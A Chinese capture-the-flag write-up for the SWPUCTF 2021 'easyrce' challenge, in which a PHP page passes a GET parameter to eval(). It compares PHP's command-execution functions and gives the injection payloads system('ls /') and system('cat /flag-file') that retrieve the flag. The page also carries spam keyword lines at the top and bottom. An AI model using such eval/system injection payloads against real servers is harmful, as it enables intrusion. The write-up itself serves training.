最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

[SWPUCTF 2021 新生賽]easyrce-解題思路

2023-07-22 22:03 作者:一只小白貓a  | 我要投稿


一、對于題目環(huán)境中函數(shù)的一些理解:

1. 屏蔽所有報錯信息的函數(shù)。

? ? error_reporting(0);?

2. 對文件進行語法高亮顯示的函數(shù)。

? ? highlight_file();

3. 環(huán)境中重要的代碼段。

? ? if(isset($_GET['url']))? ?

? ? #isset函數(shù)用來檢測url變量是否存在;$_GET函數(shù)獲取變量數(shù)據(jù)

? ? {

? ? eval($_GET['url']);? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

? ? #eval函數(shù)用來執(zhí)行參數(shù)數(shù)據(jù),并返回結(jié)果,其中字符串當作PHP代碼來執(zhí)行。

? ? }

二、解題思路:

重要代碼段為一中的第3點,我們用來側(cè)重分析。

? ? if(isset($_GET['url']))? ?

? ? {

? ? eval($_GET['url']);? ? ? ?

? ? }

if判斷語句告訴我們,如果存在url變量則往下面執(zhí)行eval函數(shù),執(zhí)行參數(shù)并且返回結(jié)果。

這里我們需要用到執(zhí)行外部命令函數(shù)(有四種方法):

知識補充:

1. exec 執(zhí)行系統(tǒng)外部命令時不會輸出結(jié)果,而是返回結(jié)果的最后一行,如果你想得到結(jié)果你可以使用第二個參數(shù),讓其輸出到指定的數(shù)組,此數(shù)組一個記錄代表輸出的一行,即如果輸出結(jié)果有20行,則這個數(shù)組就有20條記錄,所以如果你需要反復(fù)輸出調(diào)用不同系統(tǒng)外部命令的結(jié)果,你最好在輸出每一條系統(tǒng)外部命令結(jié)果時清空這個數(shù)組,以防混亂。第三個參數(shù)用來取得命令執(zhí)行的狀態(tài)碼,通常執(zhí)行成功都是返回0。?

????#示例代碼:

? ? ?? <?php

? ? ? ? ? ?echo exec("ls",$file);

? ? ? ? ? ? echo "</br>";

? ? ? ? ? ? ? ?`print_r($file);`

? ? ? ? ? ? ?>

? ? #輸出結(jié)果:

? ? ? ? test.php

? ? ? ? Array( [0] => index.php [1] => test.php)

2.? passthru與system的區(qū)別,passthru直接將結(jié)果輸出到瀏覽器,不需要使用 echo 或 return 來查看結(jié)果,不返回任何值,且其可以輸出二進制,比如圖像數(shù)據(jù)。

? ? #示例代碼:

? ? ? ? <?php

? ? ? ? ? ? passthru("ls");

? ? ? ? ?>

? ? #輸出結(jié)果:

? ? ? ? index.phptest.php

3.? system和exec的區(qū)別在于system在執(zhí)行系統(tǒng)外部命令時,直接將結(jié)果輸出到瀏覽器,不需要使用 echo 或 return 來查看結(jié)果,如果執(zhí)行命令成功則返回true,否則返回false。

? ? #示例代碼:

? ? ? ? <?php

? ? ? ? ? ? system("ls /");

? ? ? ? ?>

? ? #輸出結(jié)果:

? ? ?binbootcgroupdevetchomeliblost+foundmediamntoptprocrootsbinselinuxsrvsystmpusrvar

4.? 反撇號和shell_exec()函數(shù)實際上僅是反撇號 (`) 操作符的變體。

? ? #示例代碼:

? ? ? ? <?php

? ? ? ? ? ? echo `pwd`;

? ? ? ? ?>

? ? #輸出結(jié)果:

? ? ? ? /var/www/html

參考地址:https://www.cnblogs.com/gaohj/p/3267692.html

原文鏈接:

http://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.htmlhttp://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.html

由此可以得出方法3外部執(zhí)行命令函數(shù)更符合我們題目的要求。

三、開始解題,拿flag:

1. 首先構(gòu)造payload,并進行url地址重放:

? ??url=system("ls /");

? ? #?代表拼接

? ? #ls /代表列出目錄文件,學過Linux系統(tǒng)的大部分都有所了解。

? ? #代碼意思是將外部執(zhí)行命令ls /的結(jié)果賦值給url變量,最后在瀏覽器中顯示結(jié)果。

? ? #注意以;英文分號進行閉合。

回顯結(jié)果:

? ? bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

? ? #發(fā)現(xiàn)除了flllllaaaaaaggggggg文件以外都為目錄文件,所以猜測flllllaaaaaaggggggg文件中可能包含flag信息。

需注意的是:

? ? ?url=system("ls /"); > ?url=system("ls%20/");

? ? #我們的代碼重放后發(fā)生了變化,是因為重放后瀏覽器自動進行了url編碼!

2.使用cat命令查看flllllaaaaaaggggggg文件中的命令,需注意的是文件在/根目錄下:

? ? ?url=system("cat /flllllaaaaaaggggggg");

3、進行重放回顯flag:

?????????NSSCTF{aa00240d-6bef-4dcd-903f-6a2a26809570}




[SWPUCTF 2021 新生賽]easyrce-解題思路的評論 (共 條)

使用qq登录你需要登录后才可以评论。
和顺县| 株洲市| 宁武县| 湖州市| 平阴县| 蒙城县| 出国| 尼玛县| 蒙城县| 黎平县| 沾化县| 灯塔市| 仁布县| 海林市| 博湖县| 田阳县| 金华市| 甘孜县| 南陵县| 怀化市| 贞丰县| 红桥区| 贵州省| 崇信县| 友谊县| 福贡县| 镇赉县| 遂川县| 丹巴县| 鹰潭市| 望城县| 凌云县| 鲜城| 大悟县| 琼海市| 永安市| 和林格尔县| 绥中县| 长乐市| 日喀则市| 确山县|